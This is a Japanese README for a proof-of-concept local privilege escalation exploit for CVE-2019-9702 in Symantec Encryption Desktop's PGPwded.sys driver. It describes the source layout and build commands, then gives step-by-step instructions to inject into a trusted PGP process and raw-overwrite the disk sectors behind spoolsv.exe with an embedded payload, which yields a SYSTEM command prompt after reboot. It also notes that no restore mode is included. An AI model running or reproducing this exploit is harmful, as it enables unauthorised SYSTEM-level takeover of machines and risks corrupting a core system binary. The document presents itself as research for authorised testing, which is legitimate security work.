
Symantec Encryption Desktop の CVE-2019-9702 に対するローカル権限昇格 PoC。SYSTEM シェルを起動します。
PGPwded.sys ローカル特権昇格 PoCこのリポジトリには、Symantec Encryption Desktop の PGPwded.sys ストレージフィルターにおけるローカル特権昇格経路の概念実証が含まれています。これは、低権限からの raw ディスク読み取り/書き込みプリミティブに基づいています。
この PoC は Symantec Encryption Desktop Pro 10.4.2 MP3 を対象に開発・テストされました。他のバージョンではこの実装でテストされていません。
この研究は、Kyriakos Economou / Nettitude(現 LRQA Nettitude)による最初の公開研究に触発され、それを基にしています:
彼らの投稿では、PGPwded.sys デバイスアクセスチェック、信頼された PGP プロセスへのインジェクションのアイデア、raw 読み取り/書き込み IOCTL、NTFS ベースのエクスプロイト手法が説明されています。この PoC は、再起動時にトリガーされるサービスバイナリ上書きのバリアントに焦点を当てており、読み取り専用の事前チェックユーティリティを含んでいます。
src/
sym_portable_launcher.c # single-EXE launcher; embeds and drops the staging worker
portable_stage_worker.c # injected worker; maps C:, opens PGPwded, stages payload
spooler_payload.c # service payload run by Spooler as LocalSystem after reboot
sym_portable_precheck.c # single-EXE read-only precheck launcher
precheck_worker.c # injected read-only diagnostic worker
*_bytes.h # generated embedded payload/worker byte arrays
tools/
sym_target_diag_lite.cmd # wrapper script for collecting target diagnostics
再起動ステージのエクスプロイトは、単一の 32 ビット Windows 実行可能ファイルです。大まかな流れは次のとおりです:
C:\Users\Public)からランチャーを実行します。%TEMP% にドロップします。\\.\PGPwdef を開きます。C:\Windows\System32\spoolsv.exe をその NTFS エクステントにマッピングし、バッキングディスクセクタを計算します。\Device\000000xx PGP ディスクオブジェクトがその C: セクタにマッピングされるかを特定します。C:\Users\Public\spoolsv.exe.orig.portable にバックアップします。spoolsv.exe のバッキングセクタを、埋め込まれた LocalSystem サービスペイロードで raw 上書きします。読み取り専用の事前チェックは同じ信頼プロセスパスに従いますが、raw 読み取り IOCTL のみを使用します。ファイルを上書きせず、エクスプロイトをステージングしません。
MinGW-w64 がインストールされた Linux ホストからビルド:
make
期待される出力:
bin/sym_portable_reboot_stage32.exe # exploit/stager
bin/sym_portable_precheck32.exe # read-only precheck
最初に事前チェックを実行します。保護されたファイルを変更せずに現在のエクスプロイト条件が存在するかどうかを確認するためのものです。
C:\Users\Public\sym_portable_precheck32.exe
notepad C:\Users\Public\sym_portable_precheck.log
実行可能なターゲットは次のように終了する必要があります:
[OK] current reboot exploit conditions
ログに読み取り可能な PGP PDO がない、または C: セクタの一致がない場合は、エクスプロイトを実行しないでください。これは通常、OS ディスクが Symantec WDE で管理/インストルメントされていないことを意味します。
より詳細なターゲットレポートを得るには、以下の両方のファイルを同じディレクトリにコピーし、CMD ラッパーを実行します:
sym_target_diag_lite.cmd
sym_portable_precheck32.exe
その後、実行:
C:\Users\Public\sym_target_diag_lite.cmd
notepad C:\Users\Public\sym_target_diag_lite.log
保護されたシステムファイルを変更する権限があり、事前チェックに合格したシステムでのみエクスプロイトを実行してください。
ステージャーを書き込み可能なパスにコピーし、低権限ユーザーとして実行します:
C:\Users\Public\sym_portable_reboot_stage32.exe
ステージングログを確認:
type C:\Users\Public\sym_portable_launcher.log
type C:\Users\Public\sym_portable_stage.log
ステージングが成功した場合、worker ログに次のように表示されます:
STAGED_OK_REBOOT_TO_TRIGGER
マシンを再起動します。再起動後、Spooler サービスがペイロードを LocalSystem として起動し、次のタイトルのコマンドプロンプトを開きます:
SYSTEM_CMD_FROM_PORTABLE_REBOOT_LPE
ステージャーはターゲットを上書きする前に次のバックアップを作成します:
C:\Users\Public\spoolsv.exe.orig.portable
公開用のワンクリック復元モードは含まれていません。テストでは、バックアップを同じマップされたセクタに raw 書き込みし、再起動することで復元しました。バイナリを公開する前に、安全な復元フローを追加し検証する必要があります。
C:\Windows\System32\spoolsv.exe を対象としています。PGPwded.sys を通じて公開されている必要があります。Symantec のインストールだけでは不十分です。これは、許可されたテストと防御的検証のための研究コードです。所有していない、または評価する明示的な許可がないシステムでは実行しないでください。